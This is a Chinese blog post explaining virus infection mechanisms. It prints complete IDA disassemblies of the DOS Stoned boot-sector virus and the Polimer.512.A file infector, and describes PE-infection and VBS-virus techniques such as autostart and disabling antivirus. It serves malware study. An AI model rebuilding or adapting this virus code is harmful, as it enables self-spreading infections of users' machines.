计算机病毒的感染机制

版权声明:请多多关注博主哟~ https://blog.csdn.net/qq_37865996/article/details/87253150

0x01 引导型病毒

引导型病毒指针对主引导扇区和磁盘引导进行感染的计算机病毒,利用系统引导师部队驻引导区的内容正确与否进行判别的缺点,在系统引导的过程中侵入系统。

其思路是病毒代码通过修改或直接替换引导扇区代码的方式完成对目标系统感染,按照系统的引导过程,机器下次引导时会自动执行处于引导扇区中的病毒代码。

引导型病毒的特点是隐蔽性强、兼容性强、传播速度慢。

基于Windows的系统引导过程,引导型病毒进行了相应的攻击。

这里的实例是大麻病毒,百度词条里的解释为大麻病毒又叫新西兰病毒,因为最早在1988年初,在新西兰的惠灵顿市就有发现大麻病毒的报道。那时的大麻病毒只感染360KB的软盘,不感染硬盘。后来的大麻变种中,大部分都感染硬盘,有的还改动了显示信息,有的则把显示信息语句之前的条件判断修改成每次启动时,病毒都在屏幕上显示出下列字符串:YourPCisnowStoned!LEGALISEMARIJUANA!而不是原始设计的当系统时钟计数器记到8的倍数时才显示上述信息。

对病毒实例进行反汇编:

seg000:0100 ;
seg000:0100 ; +-------------------------------------------------------------------------+
seg000:0100 ; |   This file has been generated by The Interactive Disassembler (IDA)    |
seg000:0100 ; |           Copyright (c) 2017 Hex-Rays, <[email protected]>           |
seg000:0100 ; |                      License info: 48-3FBD-7F04-2C                      |
seg000:0100 ; |                      Jiang Ying, Personal license                       |
seg000:0100 ; +-------------------------------------------------------------------------+
seg000:0100 ;
seg000:0100 ; Input SHA256 : 1D6AB36ACE0D17630F4DB0054FD190BFEEED43B0E18DD1BC52211C6F21126C4A
seg000:0100 ; Input MD5    : 658FDF04A83FC4034767E764CF3D12BB
seg000:0100 ; Input CRC32  : A468A972
seg000:0100
seg000:0100 ; File Name   : C:\Users\zhanglipeng\Desktop\STONE.COM
seg000:0100 ; Format      : MS-DOS COM-file
seg000:0100 ; Base Address: 1000h Range: 10100h-102E1h Loaded length: 1E1h
seg000:0100
seg000:0100                 .686p
seg000:0100                 .mmx
seg000:0100                 .model tiny
seg000:0100
seg000:0100 ; ===========================================================================
seg000:0100
seg000:0100 ; Segment type: Pure code
seg000:0100 seg000          segment byte public 'CODE' use16
seg000:0100                 assume cs:seg000
seg000:0100                 org 100h
seg000:0100                 assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
seg000:0100
seg000:0100 ; =============== S U B R O U T I N E =======================================
seg000:0100
seg000:0100 ; Attributes: noreturn
seg000:0100
seg000:0100                 public start
seg000:0100 start           proc near
seg000:0100                 jmp     far ptr 7C0h:5
seg000:0100 start           endp
seg000:0100
seg000:0105 ; ---------------------------------------------------------------------------
seg000:0105                 jmp     loc_101C1
seg000:0105 ; ---------------------------------------------------------------------------
seg000:0108                 db 6 dup(0), 4, 1, 3 dup(0), 7Ch, 2 dup(0), 1Eh, 50h, 80h
seg000:0108                 db 0FCh, 2, 72h, 18h, 80h, 0FCh, 4, 73h, 13h, 80h, 0FAh
seg000:0108                 db 0, 75h, 0Eh, 33h, 0C0h, 8Eh, 0D8h, 0A0h, 40h, 4, 0Ah
seg000:0108                 db 0C0h, 75h, 3, 0E8h, 7, 0, 58h, 1Fh, 2Eh, 0FFh, 2Eh
seg000:0108                 db 0Ah, 0, 53h, 51h, 52h, 6, 56h, 57h, 0BEh, 4, 0, 0B8h
seg000:0108                 db 1, 2, 0Eh, 7, 0BBh, 0, 2, 0B9h, 1, 0, 33h, 0D2h, 9Ch
seg000:0108                 db 2Eh, 0FFh, 1Eh, 0Ah, 0, 73h, 0Eh, 33h, 0C0h, 9Ch, 2Eh
seg000:0108                 db 0FFh, 1Eh, 0Ah, 0, 4Eh, 75h, 0E0h, 0EBh, 3Eh, 90h, 33h
seg000:0108                 db 0F6h, 0BFh, 0, 2, 26h, 8Bh, 4, 26h, 3Bh, 5, 75h, 0Dh
seg000:0108                 db 26h, 8Bh, 44h, 2, 26h, 3Bh, 45h, 2, 75h, 3, 0EBh, 24h
seg000:0108                 db 90h, 0B8h, 1, 3, 0BBh, 0, 2, 0B9h, 3, 0, 0BAh, 0, 1
seg000:0108                 db 9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0, 72h, 0Fh, 0B8h, 1, 3, 33h
seg000:0108                 db 0DBh, 0B1h, 1, 33h, 0D2h, 9Ch, 2Eh, 0FFh, 1Eh, 0Ah
seg000:0108                 db 0, 5Fh, 5Eh, 7, 5Ah, 59h, 5Bh, 0C3h, 2Eh, 8Ah, 7, 43h
seg000:0108                 db 3Ch, 0, 75h, 1, 0C3h, 50h, 53h, 0B4h, 0Eh, 0B7h, 0
seg000:0108                 db 0CDh, 10h, 5Bh, 58h, 2 dup(0EBh)
seg000:01C1 ; ---------------------------------------------------------------------------
seg000:01C1
seg000:01C1 loc_101C1:                              ; CODE XREF: seg000:0105↑j
seg000:01C1                 xor     ax, ax
seg000:01C3                 mov     ds, ax
seg000:01C5                 assume ds:nothing
seg000:01C5                 cli
seg000:01C6                 mov     ss, ax
seg000:01C8                 assume ss:nothing
seg000:01C8                 mov     sp, 7C00h
seg000:01CB                 sti
seg000:01CC                 mov     ax, ds:4Ch
seg000:01CF                 mov     ds:7C0Ah, ax
seg000:01D2                 mov     ax, ds:4Eh
seg000:01D5                 mov     ds:7C0Ch, ax
seg000:01D8                 mov     ax, ds:413h
seg000:01DB                 dec     ax
seg000:01DC                 dec     ax
seg000:01DD                 mov     ds:413h, ax
seg000:01E0                 mov     cl, 6
seg000:01E2                 shl     ax, cl
seg000:01E4                 mov     es, ax
seg000:01E6                 mov     ds:7C10h, ax
seg000:01E9                 mov     ax, 16h
seg000:01EC                 mov     ds:4Ch, ax
seg000:01EF                 mov     word ptr ds:4Eh, es
seg000:01F3                 mov     cx, 1E0h
seg000:01F6                 push    cs
seg000:01F7                 pop     ds
seg000:01F8                 assume ds:seg000
seg000:01F8                 xor     si, si
seg000:01FA                 mov     di, si
seg000:01FC                 cld
seg000:01FD                 rep movsb
seg000:01FF                 jmp     dword ptr cs:0Eh
seg000:01FF ; ---------------------------------------------------------------------------
seg000:0204                 db 0B8h, 2 dup(0), 0CDh, 13h, 33h, 0C0h, 8Eh, 0C0h, 0B8h
seg000:0204                 db 1, 2, 0BBh, 0, 7Ch, 2Eh, 80h, 3Eh, 8, 2 dup(0), 74h
seg000:0204                 db 0Bh, 0B9h, 2, 0, 0BAh, 80h, 0, 0CDh, 13h, 0EBh, 41h
seg000:0204                 db 90h, 0B9h, 3, 0, 0BAh, 0, 1, 0CDh, 13h, 72h, 36h, 26h
seg000:0204                 db 0F6h, 6, 6Ch, 4, 7, 75h, 6, 0BBh, 0B2h, 1, 0E8h, 6Eh
seg000:0204                 db 0FFh, 0Eh, 7, 0B8h, 1, 2, 0BBh, 0, 2, 0B9h, 1, 0, 0BAh
seg000:0204                 db 80h, 0, 0CDh, 13h, 72h, 16h, 0Eh, 1Fh, 0BEh, 0, 2, 0BFh
seg000:0204                 db 2 dup(0), 8Bh, 4, 3Bh, 5, 75h, 19h, 8Bh, 44h, 2, 3Bh
seg000:0204                 db 45h, 2, 75h, 11h, 2Eh, 0C6h, 6, 8, 2 dup(0), 2Eh, 0C6h
seg000:0204                 db 6, 9, 2 dup(0), 2Eh, 0FFh, 2Eh, 12h, 0, 2Eh, 0C6h, 6
seg000:0204                 db 8, 0, 2, 2Eh, 0C6h, 6, 9, 2 dup(0), 0B8h, 1, 3, 0BBh
seg000:0204                 db 0, 2, 0B9h, 2, 0, 0BAh, 80h, 0, 0CDh, 13h, 72h, 0D3h
seg000:0204                 db 0Eh, 1Fh, 0Eh, 7, 0BEh, 0E0h, 3, 0BFh, 0E0h, 1, 0B9h
seg000:0204                 db 0E0h, 0FDh, 0F3h, 0A4h, 0B8h, 1, 3, 0BBh, 2 dup(0)
seg000:0204                 db 0B9h, 1, 0, 0BAh, 80h, 0, 0CDh, 13h, 0EBh, 0B4h
seg000:02B2                 db    7
seg000:02B3                 db  59h ; Y
seg000:02B4                 db  6Fh ; o
seg000:02B5                 db  75h ; u
seg000:02B6                 db  72h ; r
seg000:02B7                 db  20h
seg000:02B8                 db  50h ; P
seg000:02B9                 db  43h ; C
seg000:02BA                 db  20h
seg000:02BB                 db  69h ; i
seg000:02BC                 db  73h ; s
seg000:02BD                 db 20h, 6Eh, 6Fh, 77h, 20h, 53h, 74h, 6Fh, 6Eh, 65h, 64h
seg000:02BD                 db 21h, 7, 0Dh, 2 dup(0Ah), 0, 4Ch, 45h, 47h, 41h, 4Ch
seg000:02BD                 db 49h, 53h, 45h, 20h, 4Dh, 41h, 52h, 49h, 4Ah, 55h, 41h
seg000:02BD                 db 4Eh, 41h, 21h
seg000:02BD seg000          ends
seg000:02BD
seg000:02BD
seg000:02BD                 end start

引导型病毒指感染硬盘主引导扇区或硬、软盘的DOS引导扇区的病毒,其基本功能实现原理:

1.减少DOS可用最大内存量,以供病毒代码使用:

                 xor     ax, ax
                 mov     ds, ax
                 assume ds:nothing
                 cli
                 mov     ss, ax
                 assume ss:nothing
                 mov     sp, 7C00h
                 sti
                 mov     ax, ds:4Ch
                 mov     ds:7C0Ah, ax
                 mov     ax, ds:4Eh
                 mov     ds:7C0Ch, ax
                 mov     ax, ds:413h;此处存放最大的内存0000:0413
                 dec     ax
                 dec     ax         ;为病毒申请4KB的内存空间
                 mov     ds:413h, ax

2.修改必要的中断向量,以便进行传播  。这部分代码上方的IDA没有给分析出来;

3.杜如病毒的其他部分,在内存高端进行病毒的拼装,从某些特殊簇的某扇区读入病毒的其他部分,将原引导记录读到0000:7C00,跳转执行;

4.读入原主引导分区,转去执行DOS的引导工作。

0x02 文件型病毒

文件型病毒必须借助宿主文件存储自身代码,脱离宿主无法进入内存执行。文件型病毒不能直接使用覆盖感染方法。文件型病毒在文件中的位置多种多样,设计文件型病毒时,必须考虑将来病毒如何获取系统控制权,因为这取决于病毒代码是否处于宿主代码的执行路线上。

覆盖病毒通过覆盖宿主进程进行感染,感染后宿主文件代码遭到破坏,如Trivial.22。选择文件头部分覆盖感染是一个不错的选择,但也会迎来重点对文件头部分的审查。

追加病毒是将病毒代码追加到宿主代码的尾部,并在宿主的头部插入跳转指令,从而获得控制权。而粗暴插入会导致宿主代码重定位等一系列让人头疼的问题,更简单的方法是如果宿主首部恰好是一条JMP指令,可直接对其修改,病毒执行完后,在对JMP指令修复;或者将文件的头的指令修改为JMP指令,代码执行完后再进行还原就可以了。

前置病毒将病毒代码插入到宿主程序的前端,如Polimer.512.A

seg0000100 ;
seg0000100 ; +-------------------------------------------------------------------------+
seg0000100 ;    This file has been generated by The Interactive Disassembler (IDA)    
seg0000100 ;            Copyright (c) 2017 Hex-Rays, [email protected]           
seg0000100 ;                       License info 48-3FBD-7F04-2C                      
seg0000100 ;                       Jiang Ying, Personal license                       
seg0000100 ; +-------------------------------------------------------------------------+
seg0000100 ;
seg0000100 ; Input SHA256  E7B23697FA325A5C5D03EC1D8B3EEC380ABC809BB7FECE88F444872BFEEB2A38
seg0000100 ; Input MD5     118FF3874AEA9407F19B8C9CEF908B1E
seg0000100 ; Input CRC32   982014E7
seg0000100
seg0000100 ; File Name    CUserszhanglipengDesktopPOLIMER.COM
seg0000100 ; Format       MS-DOS COM-file
seg0000100 ; Base Address 1000h Range 10100h-10300h Loaded length 200h
seg0000100
seg0000100                 .686p
seg0000100                 .mmx
seg0000100                 .model tiny
seg0000100
seg0000100 ; ===========================================================================
seg0000100
seg0000100 ; Segment type Pure code
seg0000100 seg000          segment byte public 'CODE' use16
seg0000100                 assume csseg000
seg0000100                 org 100h
seg0000100                 assume esnothing, ssnothing, dsseg000, fsnothing, gsnothing
seg0000100 ; [00000003 BYTES COLLAPSED FUNCTION start. PRESS CTRL-NUMPAD+ TO EXPAND]
seg0000103                 align 2
seg0000104 aCom            db 'COM',0
seg0000110                 db 1Ah, 3 dup(0), 2Eh, 0F2h, 0Ch, 2Bh, 1, 0Fh dup(0), 41h
seg0000110                 db 20h, 6Ch, 65h, 27h, 6Ah, 6Fh, 2 dup(62h), 20h, 6Bh
seg0000110                 db 61h, 7Ah, 65h, 2 dup(74h), 61h, 20h, 61h, 20h, 50h
seg0000110                 db 4Fh, 4Ch, 49h, 4Dh, 45h, 52h, 20h, 6Bh, 61h, 7Ah, 65h
seg0000110                 db 2 dup(74h), 61h, 20h, 21h, 3 dup(20h), 56h, 65h, 67h
seg0000110                 db 79h, 65h, 20h, 65h, 7Ah, 74h, 20h, 21h, 4 dup(20h)
seg0000110                 db 0Ah, 0Dh, 24h, 45h, 2 dup(52h), 4Fh, 52h, 0Ah, 0Dh
seg0000110                 db 24h
seg000016A word_1016A      dw 5                    ; DATA XREF start_0+3E↓w
seg000016A                                         ; start_0+41↓r ...
seg000016C word_1016C      dw 18D8h                ; DATA XREF start_0+53↓w
seg000016C                                         ; start_0+90↓r ...
seg000016E ; ---------------------------------------------------------------------------
seg000016E ; START OF FUNCTION CHUNK FOR start_0
seg000016E
seg000016E loc_1016E                              ; CODE XREF start_0+133↓j
seg000016E                 mov     si, 2B9h
seg0000171                 mov     di, 0C0h
seg0000174                 mov     cx, 30h
seg0000177                 cld
seg0000178                 rep movsb
seg000017A                 jmp     near ptr 0C0h
seg000017D ; ---------------------------------------------------------------------------
seg000017D
seg000017D loc_1017D                              ; CODE XREF start_0+1D↓j
seg000017D                 jmp     loc_10296
seg0000180 ; ---------------------------------------------------------------------------
seg0000180
seg0000180 loc_10180                              ; CODE XREF start_0+3C↓j
seg0000180                                         ; start_0+51↓j ...
seg0000180                 jmp     loc_1028F
seg0000180 ; END OF FUNCTION CHUNK FOR start_0
seg0000183
seg0000183 ; =============== S U B R O U T I N E =======================================
seg0000183
seg0000183
seg0000183 start_0         proc near               ; CODE XREF start↑j
seg0000183
seg0000183 ; FUNCTION CHUNK AT seg000016E SIZE 00000015 BYTES
seg0000183
seg0000183                 mov     al, 0
seg0000185                 mov     ah, 0Eh
seg0000187                 int     21h             ; DOS - SELECT DISK
seg0000187                                         ; DL = new default drive number (0 = A, 1 = B, etc.)
seg0000187                                         ; Return AL = number of logical drives
seg0000189                 mov     dx, 0C0h
seg000018C                 mov     ah, 1Ah
seg000018E                 int     21h             ; DOS - SET DISK TRANSFER AREA ADDRESS
seg000018E                                         ; DSDX - disk transfer buffer
seg0000190                 mov     dx, 128h
seg0000193                 mov     ah, 9
seg0000195                 int     21h             ; DOS - PRINT STRING
seg0000195                                         ; DSDX - string terminated by $
seg0000197
seg0000197 loc_10197                              ; CODE XREF start_0+129↓j
seg0000197                 mov     dx, 103h
seg000019A                 mov     ah, 11h
seg000019C                 int     21h             ; DOS - SEARCH FIRST USING FCB
seg000019C                                         ; DSDX - FCB
seg000019E                 test    al, al
seg00001A0                 jnz     short loc_1017D
seg00001A2
seg00001A2 loc_101A2                              ; CODE XREF start_0+F8↓j
seg00001A2                 mov     word ptr ds0CCh, 2424h
seg00001A8                 mov     ax, ds0CAh
seg00001AB                 mov     ds0CBh, ax
seg00001AE                 mov     ax, ds0C8h
seg00001B1                 mov     al, 2Eh
seg00001B3                 mov     ds0C9h, ax
seg00001B6                 mov     al, 2
seg00001B8                 mov     dx, 0C1h
seg00001BB                 mov     ah, 3Dh
seg00001BD                 int     21h             ; DOS - 2+ - OPEN DISK FILE WITH HANDLE
seg00001BD                                         ; DSDX - ASCIZ filename
seg00001BD                                         ; AL = access mode
seg00001BD                                         ; 2 - read & write
seg00001BF                 jb      short loc_10180
seg00001C1                 mov     word_1016A, ax
seg00001C4                 mov     bx, word_1016A
seg00001C8                 mov     cx, 0
seg00001CB                 mov     dx, 0
seg00001CE                 mov     al, 2
seg00001D0                 mov     ah, 42h
seg00001D2                 int     21h             ; DOS - 2+ - MOVE FILE READWRITE POINTER (LSEEK)
seg00001D2                                         ; AL = method offset from end of file
seg00001D4                 jb      short loc_10180
seg00001D6                 mov     word_1016C, ax
seg00001D9                 mov     bx, word_1016A
seg00001DD                 mov     cx, 0
seg00001E0                 mov     dx, 0
seg00001E3                 mov     al, 0
seg00001E5                 mov     ah, 42h
seg00001E7                 int     21h             ; DOS - 2+ - MOVE FILE READWRITE POINTER (LSEEK)
seg00001E7                                         ; AL = method offset from beginning of file
seg00001E9                 jb      short loc_10180
seg00001EB                 mov     bx, word_1016A
seg00001EF                 mov     cx, 200h
seg00001F2                 mov     dx, 0
seg00001F5                 mov     ax, ds
seg00001F7                 add     ax, 1000h
seg00001FA                 mov     ds, ax
seg00001FC                 assume dsnothing
seg00001FC                 mov     ah, 3Fh
seg00001FE                 int     21h             ; DOS - 2+ - READ FROM FILE WITH HANDLE
seg00001FE                                         ; BX = file handle, CX = number of bytes to read
seg00001FE                                         ; DSDX - buffer
seg0000200                 mov     cx, 80h
seg0000203                 cld
seg0000204                 mov     si, 100h
seg0000207                 mov     di, 200h
seg000020A                 repe cmpsb
seg000020C                 jz      short loc_1027E
seg000020E                 mov     bx, csword_1016A
seg0000213                 mov     cx, csword_1016C
seg0000218                 sub     cx, 200h
seg000021C                 mov     dx, 200h
seg000021F                 mov     ah, 3Fh
seg0000221                 int     21h             ; DOS - 2+ - READ FROM FILE WITH HANDLE
seg0000221                                         ; BX = file handle, CX = number of bytes to read
seg0000221                                         ; DSDX - buffer
seg0000223                 mov     ax, ds
seg0000225                 sub     ax, 1000h
seg0000228                 mov     ds, ax
seg000022A                 assume dsseg000
seg000022A                 mov     bx, word_1016A
seg000022E                 mov     cx, 0
seg0000231                 mov     dx, 0
seg0000234                 mov     al, 0
seg0000236                 mov     ah, 42h
seg0000238                 int     21h             ; DOS - 2+ - MOVE FILE READWRITE POINTER (LSEEK)
seg0000238                                         ; AL = method offset from beginning of file
seg000023A                 mov     bx, word_1016A
seg000023E                 mov     dx, 100h
seg0000241                 mov     cx, 200h
seg0000244                 mov     ah, 40h
seg0000246                 int     21h             ; DOS - 2+ - WRITE TO FILE WITH HANDLE
seg0000246                                         ; BX = file handle, CX = number of bytes to write, DSDX - buffer
seg0000248                 mov     bx, word_1016A
seg000024C                 mov     dx, 0
seg000024F                 mov     cx, word_1016C
seg0000253                 mov     ax, ds
seg0000255                 add     ax, 1000h
seg0000258                 mov     ds, ax
seg000025A                 assume dsnothing
seg000025A                 mov     ah, 40h
seg000025C                 int     21h             ; DOS - 2+ - WRITE TO FILE WITH HANDLE
seg000025C                                         ; BX = file handle, CX = number of bytes to write, DSDX - buffer
seg000025E                 mov     ax, ds
seg0000260                 sub     ax, 1000h
seg0000263                 mov     ds, ax
seg0000265                 assume dsseg000
seg0000265                 mov     bx, word_1016A
seg0000269                 mov     ah, 3Eh
seg000026B                 int     21h             ; DOS - 2+ - CLOSE A FILE WITH HANDLE
seg000026B                                         ; BX = file handle
seg000026D                 jmp     short loc_10296
seg000026D ; ---------------------------------------------------------------------------
seg000026F                 align 2
seg0000270
seg0000270 loc_10270                              ; CODE XREF start_0+10A↓j
seg0000270                 mov     dx, 103h
seg0000273                 mov     ah, 12h
seg0000275                 int     21h             ; DOS - SEARCH NEXT USING FCB
seg0000275                                         ; DSDX - FCB
seg0000275                                         ; Return AL = status
seg0000277                 test    al, al
seg0000279                 jnz     short loc_10296
seg000027B                 jmp     loc_101A2
seg000027E ; ---------------------------------------------------------------------------
seg000027E
seg000027E loc_1027E                              ; CODE XREF start_0+89↑j
seg000027E                 mov     ax, ds
seg0000280                 sub     ax, 1000h
seg0000283                 mov     ds, ax
seg0000285                 assume dsnothing
seg0000285                 mov     bx, ds16Ah
seg0000289                 mov     ah, 3Eh
seg000028B                 int     21h             ; DOS - 2+ - CLOSE A FILE WITH HANDLE
seg000028B                                         ; BX = file handle
seg000028D                 jmp     short loc_10270
seg000028F ; ---------------------------------------------------------------------------
seg000028F
seg000028F loc_1028F                              ; CODE XREF start_0loc_10180↑j
seg000028F                 mov     dx, 162h
seg0000292                 mov     ah, 9
seg0000294                 int     21h             ; DOS - PRINT STRING
seg0000294                                         ; DSDX - string terminated by $
seg0000296
seg0000296 loc_10296                              ; CODE XREF start_0loc_1017D↑j
seg0000296                                         ; start_0+EA↑j ...
seg0000296                 mov     ah, 19h
seg0000298                 int     21h             ; DOS - GET DEFAULT DISK NUMBER
seg000029A                 test    al, al
seg000029C                 jnz     short loc_102AF
seg000029E                 mov     dl, 2
seg00002A0                 mov     ah, 0Eh
seg00002A2                 int     21h             ; DOS - SELECT DISK
seg00002A2                                         ; DL = new default drive number (0 = A, 1 = B, etc.)
seg00002A2                                         ; Return AL = number of logical drives
seg00002A4                 mov     ah, 19h
seg00002A6                 int     21h             ; DOS - GET DEFAULT DISK NUMBER
seg00002A8                 test    al, al
seg00002AA                 jz      short loc_102AF
seg00002AC                 jmp     loc_10197
seg00002AF ; ---------------------------------------------------------------------------
seg00002AF
seg00002AF loc_102AF                              ; CODE XREF start_0+119↑j
seg00002AF                                         ; start_0+127↑j
seg00002AF                 mov     dx, 80h
seg00002B2                 mov     ah, 1Ah
seg00002B4                 int     21h             ; DOS - SET DISK TRANSFER AREA ADDRESS
seg00002B4                                         ; DSDX - disk transfer buffer
seg00002B6                 jmp     loc_1016E
seg00002B6 start_0         endp
seg00002B6
seg00002B6 ; ---------------------------------------------------------------------------
seg00002B9                 db 0BEh, 0, 3, 0BFh, 0, 1, 0B9h, 0, 0FDh, 0FCh, 0F3h, 0A4h
seg00002B9                 db 0EBh, 32h, 90h, 38h dup(0)
seg00002B9 seg000          ends
seg00002B9
seg00002B9
seg00002B9                 end start

寄生病毒将其代码覆盖到宿主的顶端,并且将原宿主程序顶端保存在宿主的末端,如Virdem病毒。

空洞病毒将病毒代码写入宿主文件的空洞,空洞就是文件内的数据按某一边界文件出现的现象。为避免找不到足够大的空洞,使用碎洞技术将病毒代码分片插入到宿主的多个空洞中,病毒装载是首先加载其Loader程序,然后使用便宜量表查找病毒的其他代码片段,将其读入内存的连续区域进行重组。

压缩病毒感染目标后,压缩宿主程序,以便隐藏感染病毒后文件长度的变化,W32/Aldebera可以使感染后文件长度维持不变。

入口点混淆病毒感染宿主是选择宿主代码的合适位置,是病毒随机的获得控制权。能够躲避快速扫描技术的检查,为提高获取入口点的可能性,需要使用静态搜索跳转指令、动态跟踪某些特定机器码、Win32 API挂接技术、Win32倒入裱修改技术和Win32 函数挂接。

代码构造器通过遍历目标程序,找出自己所需要的代码片段或指令,在内存中重新构造新的代码片段,执行特定功能,但目前仅仅是一假想。

针对PE文件的感染,除了前述的各种感染方式外,与其相关的特殊感染方式有PE头部感染、追加新节、将病毒作为独立的PE文件追加到宿主末尾。

病毒感染文件时最重要的一步就是将病毒代码写入目标中。对 PE文件的读写一般利用Win32 API以内存映射文件的方式进行,这样可以避免管理内存缓冲区的麻烦。为了能读写具有只读属性的文件,需要在操作文件前利用GetFileAttribute获取其属性并保存,然后利用SetFileAttributes将文件的属性设置为可写,感染完毕后恢复属性值。PE文件通常被写到的位置有:

  • 在PE尾部写入一个新节;
  • 追加在最后一个节上;
  • 写入到PE文件头部的未用空间或各个节所保留的空洞之中;
  • 覆盖不常用的数据;
  • 压缩某些数据或代码以节约出存放病毒代码的空间。

因此,必须精通对PE文件的修改操作。

在验证文件格式时,主要通过验证PE头部的标志字段来实现:MZ标志、PE标志和Characteristics字段。前两个标志就是验证相应字段是不是“MZ”和“PE”,当然啦需要注意低位和高位之间的关系,第三个字段就是看是EXE还是DLL。

PE病毒代码要想在Windows上运行,离不开对Win32 API的调用,一般情况下有两种方式:

  • 在编译链接时使用导入库;
  • 使用LoadLibrary()动态装入某个DLL,并使用GetProcAddress()从被装入模版中获取API函数的地址。

根据病毒的特殊性,间接使用第二种方式。ExitThread()函数的返回地址可以在程序入口处用ESP读出,这是Kernel32.dll模块的有效地址,LoadLibrary()和GetProcAddress()也在此模块中。Windows在加载PE文件时,除了一些可丢弃的节外,其他的内容都会被装入内存,包括PE头、导出表等结构。另外PE文件被装入内存后是按照内存页对齐的,只要从ret指令的返回地址按页对其边界向低地址搜寻,找到Kernel32.dll文件的文件头地址也就是其模块基址,然后查找导出表就可以找到LoadLibrary()和GetProcAddress()的地址。

代码的自定位。

PE可选头部的Checksum是PE文件的校验和,操作系统通过该字段检验核心系统文件是否篡改过。因此病毒进行修改之后,务必需要重新计算校验和。

0x03 脚本病毒

脚本语言包括以下几种类型:

  • 基于Java Script的脚本病毒,主要运行在浏览器环境中,可以对浏览器的设置进行修改,主要是对注册表的修改;
  • 基于VB Script的脚本病毒,可以在浏览器环境中运行,更重要的是这种病毒和普通的宏病毒没有清晰的界限,可以在Office环境中运行,并执行常见的计算机操作;
  • 基于PHP的脚本病毒,主要是对服务器造成影响;
  • 脚本语言和木马程序结合的病毒,处理使用脚本代码进行扩散以外,还会主动安装木马程序。

VBS病毒的特点:

  • 编写简单;
  • 破坏力大;
  • 感染力强;
  • 传播范围大;
  • 病毒源码容易被获取,代码可读性强;
  • 欺骗性强;
  • 病毒生产机实现容易。

VBS脚本病毒一般是通过直接的自我复制来感染文件,并在目标文件顶部加入一条调用病毒代码的语句。

病毒的传播方式:

  • 通过Email附件进行传播;
  • 通过局域网共享进行传播;
  • 通过网页文件进行传播;
  • 通过IRC聊天通道传播。

病毒必须得到执行权,然后才可以进行传播或者发作,常见的自启动的方法:

  • 使用注册表;
  • 欺骗用户;
  • Desktop.ini和Folder.htt配合。

VBS病毒的自保技巧:

  • 自加密;
  • 运用Execute函数;
  • 改变对象的生命方法;
  • 关闭反病毒软件。

0x04代码进化技术

加密病毒

寡态病毒

多态病毒

变形病毒

病毒生产机

猜你喜欢

转载自blog.csdn.net/qq_37865996/article/details/87253150